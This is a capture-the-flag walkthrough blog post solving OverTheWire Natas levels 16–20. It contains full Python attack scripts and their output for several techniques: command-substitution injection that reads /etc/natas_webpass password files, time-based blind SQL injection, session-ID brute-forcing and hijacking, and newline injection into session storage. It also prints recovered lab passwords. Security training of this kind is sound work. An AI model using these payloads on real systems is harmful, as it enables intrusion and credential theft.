Welcome back! This post is the continuation of the Natas wargame from OverTheWire.

If you haven’t already read my previous post from Solutions 1-10, then I highly suggest you do so before continuing on to the higher end levels, as the lower levels will provide you the basics of web hacking. You can read that post here!

Afterwards you can read my post on Solution 11-15, which are mandatory in understanding these next few levels. You can read that post here!

So, let us begin!

Level 16:

This level is actually similar to level 9 and 10 of natas. Though this time, there is more filtering being done, so we might have a tough time to inject code. Let’s check the source code and see what we have.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

Great… this might be a little though. They aren’t only filtering characters needed to inject a command, they are also escaping quote characters for $key. This will turn any of our input into a string.

But I have noticed that they aren’t filtering the $ and ( ) characters. So we might be able to inject another command into the string using command substitution.

I attempted to inject $(grep a /etc/natas_webpass/natas17), I noticed that all of the dictionary words were returned. The command that I ran, looked something like this within the php code.

passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");

Because all words were returned, I knew the command I injected - to grep a in natas17 - was false. When I tried injecting $(grep A /etc/natas_webpass/natas17), nothing was returned. This made me believe that if nothing was returned, then my command was valid and the letter A, existed in natas17’s password.

So what we have to do from here is similar to 16. We need to take our python code, edit it, and try to brute force the password. I used the word Fridays at the end of my command - $(grep a /etc/natas_webpass/natas17)Fridays - so in case the command failed, Fridays would return in the output and my script could pick up on that as false.

So let’s go ahead and edit our brute.py script like so:

#!/usr/bin/python

import requests

chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Output:\n<pre>\n</pre>'

for x in chars:
        r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Fridays')
        if r.content.find(trueStr) != -1:
                exist += x
                print 'Using: ' + exist

print 'All characters used. Starting brute force... Grab a coffee, might take a while!'

for i in range(32):
        for c in exist:
                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Fridays')
                if r.content.find(trueStr) != -1:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break
                        
print 'Completed!'

Once done, let’s go ahead and run it!

root@kali:~# chmod +x brute.py
root@kali:~# ./brute.py
Used chars: 0
Used chars: 03
Used chars: 035
Used chars: 0357
Used chars: 03578
Used chars: 035789
Used chars: 035789b
Used chars: 035789bc
Used chars: 035789bcd
Used chars: 035789bcdg
Used chars: 035789bcdgh
Used chars: 035789bcdghk
Used chars: 035789bcdghkm
Used chars: 035789bcdghkmn
Used chars: 035789bcdghkmnq
Used chars: 035789bcdghkmnqr
Used chars: 035789bcdghkmnqrs
Used chars: 035789bcdghkmnqrsw
Used chars: 035789bcdghkmnqrswA
Used chars: 035789bcdghkmnqrswAG
Used chars: 035789bcdghkmnqrswAGH
Used chars: 035789bcdghkmnqrswAGHN
Used chars: 035789bcdghkmnqrswAGHNP
Used chars: 035789bcdghkmnqrswAGHNPQ
Used chars: 035789bcdghkmnqrswAGHNPQS
Used chars: 035789bcdghkmnqrswAGHNPQSW
All characters used. Starting brute force... Grab a coffee, might take a while!
Password: 8*******************************
Password: 8P******************************
Password: 8Ps*****************************
Password: 8Ps3****************************
Password: 8Ps3H***************************
Password: 8Ps3H0**************************
Password: 8Ps3H0G*************************
Password: 8Ps3H0GW************************
Password: 8Ps3H0GWb***********************
Password: 8Ps3H0GWbn**********************
Password: 8Ps3H0GWbn5*********************
Password: 8Ps3H0GWbn5r********************
Password: 8Ps3H0GWbn5rd*******************
Password: 8Ps3H0GWbn5rd9******************
Password: 8Ps3H0GWbn5rd9S*****************
Password: 8Ps3H0GWbn5rd9S7****************
Password: 8Ps3H0GWbn5rd9S7G***************
Password: 8Ps3H0GWbn5rd9S7Gm**************
Password: 8Ps3H0GWbn5rd9S7GmA*************
Password: 8Ps3H0GWbn5rd9S7GmAd************
Password: 8Ps3H0GWbn5rd9S7GmAdg***********
Password: 8Ps3H0GWbn5rd9S7GmAdgQ**********
Password: 8Ps3H0GWbn5rd9S7GmAdgQN*********
Password: 8Ps3H0GWbn5rd9S7GmAdgQNd********
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdk*******
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkh******
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhP*****
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPk****
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq***
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9**
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c*
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Completed!

And there we have it folks! We are done with level 16, and can move on to level 17!

Level 17:

Seems similar to 16… hmmm. Let’s check out the source code and see what we have to work with.

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 

Well, look at that! It’s the same a…. oh, wait a second… they commented out the echo responses, darn.

Okay, that’s fine! At least we still know that there is a username and password field in the database, and that the query is susceptible to SQL Injection.

This is something called a Total Blind SQL Inject, where we do not have any generic errors or statements that will provide us with some sort of acknowledgment that the query we are injecting is true or false.

We will be doing something called a Time-Based Blind SQL Inject, where we will be judging our true and false statements based on the server delay - caused by our query.

Let’s try and inject the following query:

natas18” AND IF(password LIKE BINARY “A%”, sleep(5), null) #

You should see that it takes the server about 5 seconds to respond back. This is due to the fact that we are using the MySQL Sleep() Command. This also means that the letter “A” exists in the password field for natas18 - so our query is true. But, if the server responded right away, then we would know that the letter does not exist, thus the query is false.

The way we are testing for true and false is by using the If() Command. We are basically telling SQL that IF the password for natas18 includes the character A, THEN you must SLEEP for 5 Seconds, ELSE IF FALSE do NULL or nothing.

So let’s go ahead and edit our previous brute.py script to work with this level.

Notice that I am using %23 for the # sign, since we need it in our URL, and the URL is encoded. You can read more about encoding here!

#!/usr/bin/python

import requests

chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'

r = requests.get(target)

for x in chars:
	try:
		r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "%' + x + '%", sleep(5), null) %23', timeout=1)
	except requests.exceptions.Timeout:
		exist += x
		print 'Using: ' + exist

print 'All characters used. Starting brute force... Grab a coffee, might take a while!'

for i in range(32):
	for c in exist:
		try:
			r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "' + password + c + '%", sleep(5), null) %23', timeout=1)
		except requests.exceptions.Timeout:
			password += c
			print 'Password: ' + password + '*' * int(32 - len(password))
			break

print 'Completed!'

Great! Once we got that script finished up, let’s go ahead and run it!

root@kali:~# ./brute.py
Using: 0
Using: 04
Using: 047
Using: 047d
Using: 047dg
Using: 047dgh
Using: 047dghj
Using: 047dghjl
Using: 047dghjlm
Using: 047dghjlmp
Using: 047dghjlmpq
Using: 047dghjlmpqs
Using: 047dghjlmpqsv
Using: 047dghjlmpqsvw
Using: 047dghjlmpqsvwx
Using: 047dghjlmpqsvwxy
Using: 047dghjlmpqsvwxyC
Using: 047dghjlmpqsvwxyCD
Using: 047dghjlmpqsvwxyCDF
Using: 047dghjlmpqsvwxyCDFI
Using: 047dghjlmpqsvwxyCDFIK
Using: 047dghjlmpqsvwxyCDFIKO
Using: 047dghjlmpqsvwxyCDFIKOP
Using: 047dghjlmpqsvwxyCDFIKOPR
All characters used. Starting brute force... Grab a coffee, might take a while!
Password: x*******************************
Password: xv******************************
Password: xvK*****************************
Password: xvKI****************************
Password: xvKIq***************************
Password: xvKIqD**************************
Password: xvKIqDj*************************
Password: xvKIqDjy************************
Password: xvKIqDjy4***********************
Password: xvKIqDjy4O**********************
Password: xvKIqDjy4OP*********************
Password: xvKIqDjy4OPv********************
Password: xvKIqDjy4OPv7*******************
Password: xvKIqDjy4OPv7w******************
Password: xvKIqDjy4OPv7wC*****************
Password: xvKIqDjy4OPv7wCR****************
Password: xvKIqDjy4OPv7wCRg***************
Password: xvKIqDjy4OPv7wCRgD**************
Password: xvKIqDjy4OPv7wCRgDl*************
Password: xvKIqDjy4OPv7wCRgDlm************
Password: xvKIqDjy4OPv7wCRgDlmj***********
Password: xvKIqDjy4OPv7wCRgDlmj0**********
Password: xvKIqDjy4OPv7wCRgDlmj0p*********
Password: xvKIqDjy4OPv7wCRgDlmj0pF********
Password: xvKIqDjy4OPv7wCRgDlmj0pFs*******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsC******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCs*****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsD****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDj***
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh**
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd*
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Completed!

Perfect! We got the password for natas18 and we can move on! This level was pretty hard, but just study SQL Injection and you will know what to look for next time!

Level 18:

Okay, the first thing we notice is that we have a Username and Password field. We also are told that we have to log into an “admin” account to receive the credentials for natas19.

So before we do anything, let’s go ahead and check the source code.

<? 

$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
 
function isValidID($id) { 
    return is_numeric($id); 
} 
 
function createID($user) { 
    global $maxid; 
    return rand(1, $maxid); 
} 
 
function debug($msg) { 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 

function my_session_start() {  
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 

    return false; 
} 
 
function print_credentials() {  
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
 

$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

if($showform) { 
?> 

<p> 
Please login with your admin account to retrieve credentials for natas19. 
</p> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
Password: <input name="password"><br> 
<input type="submit" value="Login" /> 
</form> 
<? } ?>  

After examining the code we can see that we are working with $_COOKIE, so this is something that we can control. But, another variable that stands out is $maxid which is set to 640. During the createID function it takes in the username, and assigns it to a random integer between 1 and 640 (or $maxid). It then initializes it as a session_id.

We can assume that PHPSESSID is the assigned value from session_id… so, this means that there is 1 session ID that is allocated to the the “admin” session ID. Let’s fire up Burp, initiate our proxy and Login without any credentials to see if we can capture a PHPSESSID in our Interceptor.

We can see that Cookies are being sent with a PHPSESSID. We can no conclude that a Session Hijacking Attack is possible. So let’s go ahead and user Burp to carry out this attack.

Let’s right click on our Intercepted packet, and Send to Intruder.

Once we are in intruder, let’s go ahead and highlight the area around the PHPSESSID, as shown below. If the integer is not 0, go ahead and change it to 0. Also - make sure our Attack Type is set to Sniper.

Once we have completed that, let’s go over to the Payloads tab. Set Payload type: to Numbers from the drop down. Once done, let’s change the To: and From: to be 1 to 640, with a step of 1, and a Minimal Integer Digits of 1, and Maximum Integer Digits of 3 (so we can get to 640).

Next, let’s jump over to our Options tab, scroll down till you find Extract Grep and press the Add button to add a new grep attribute. Highlight the selected area like below, and press OK. This will allow us to see what output we get per Session Id.

After we have set up our payload and intruder, go ahead and press Attack. The following screen should come up, forwarding each packet with a different Payload which will be the PHPSESSID. This might take a while, so go grab a coffee, or beer, I don’t judge!

Once our scan is complete, click the “content” tab to sort it. The first value that should come up should be the “You are an admin…”. It should look like something below. This means that the Payload or PHPSESSID is the “admin” one.

Go ahead and double click the line with the correct payload to view the packet. As we can see our PHPSESSID = 610. Let’s go ahead and right click inside, and select Send to Repeater. This will allow us to make sure the packet is working.

Once done, let’s go back into Burps Repeater. Make sure that the PHPSESSID is set to 610, and press GO. You should receive the following response.

<body>
<h1>natas18</h1>
<div id="content">

You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

</div>
</body>

Congrats! We finished level 18 and can move on to level 19!

Level 19:

Okay, so it seems that the code is being reused from the previous level… but this time they went ahead and changed the way the PHPSESSID works. So let’s fire up Burp and login without any username or password see what the cookies information shows us.

Intresting, it seems as if the cookie is encoded in some way. Let’s go ahead and capture another packet, this time using the username: admin.

Okay… Everything changed, except for 2 bits - 2d - which didn’t change. So we can assume that this character will appear in all cookies.

After doing some research I figured out that 2d is - in hex. So, that means that our cookies are in hexadecimal format. Let’s go ahead and highlight that cookie, right-click it, and send it to decoder.

Once in Decoder, from the Decode as: drop down, choose ASCII HEX. This then translates 33332d61646d696e to 33-admin.

Okay, before we continue - let’s consider that the code has changed to allow the isValidAdminLogin function to work. Let’s assume that “admin” will return true, keep the hexadecimal PHPSESSID 2d61646d696e as is, and enumerate everything before 2d. We will thus try to enumerate 640 numbers, since that’s what the codes $maxid was set to. And when we enumerate it, we will add -admin to the end, and encode it to hex. So let’s write a python script for that.

#!/usr/bin/python

import requests

target = 'http://natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs@natas19.natas.labs.overthewire.org/'
trueStr = 'You are an admin.'


for x in range(1,641):
	if x % 10 == 0:
		print str(x) + ' Sessions Tested'
	cookies = dict(PHPSESSID=(str(x)+'-admin').encode('hex'))
	r = requests.get(target, cookies=cookies)
	if r.content.find(trueStr) != -1:
		print 'Got it!'
		print "Admin session is "+ str(x)
		print r.content
		break

Once done, let’s go ahead and run the script!

root@kali:~# ./brute.py
10 Sessions Tested
20 Sessions Tested
30 Sessions Tested
40 Sessions Tested
50 Sessions Tested
60 Sessions Tested
70 Sessions Tested
80 Sessions Tested
90 Sessions Tested
100 Sessions Tested
---snip---
550 Sessions Tested
560 Sessions Tested
570 Sessions Tested
580 Sessions Tested
590 Sessions Tested
Got it!
Admin session is 595
---snip---
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>

Perfect! We got the password to level 20! This was a pretty medium level, considering the fact that you had to figure out the encoding.

Level 20:

Well this is an interesting challenge… it seems that we are already logged in and we need to log in as an admin. Since we have a Change Name button, I’m guessing that we are capable of injecting code - or we cam check PHPSESSSID’s… let’s go ahead and first see what the source code contains.

<?

function debug($msg)
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
function print_credentials()
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?> 

Complicated huh? In all honesty, it really isn’t. I suggest that you read about the session_set_save_handler, as well as the functions that it carries out.

Let’s look at the mywrite function. The first few lines are useless to us as it just makes sure the $sid is valid. What’s interesting is how the data is written into the file name. For each session it writes in data to the file as $key $value\n.

The myread function is actually the reverse of mywrite. As it takes in the data, splits the data into lines using the explode function (hence foreach(explode(“\n”, $data) as $line), then splits the lines by spaces, taking the first part and making it the $key and the second part as $value.

So far we understand that the file writes data in simple logic - variables are separated by a new line, while key and variable by a space. So, what we will do is take the name check and inject code to it - assuming that the print_credentials function is the same and admin is == to 1, or true.

So what we want to do is inject the name admin and make it true. Thus, let’s fire up Burp and intercept a packet when Change name is pressed. One done, let’s send it to repeater.

Change the name in the header to %0Aadmin%201, and press GO.

This will write the following to the file:

name admin
admin 1

You should see something along these lines in the Response section of Burps Repeater.

<body>
<h1>natas20</h1>
<div id="content">

You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ</pre>

<form action="index.php" method="POST">

Your name: <input name="name" value="admin
admin 1"><br>

<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

And there we have it! Another successful run on Natas! Stay tuned for more!

Updated:

Leave a Comment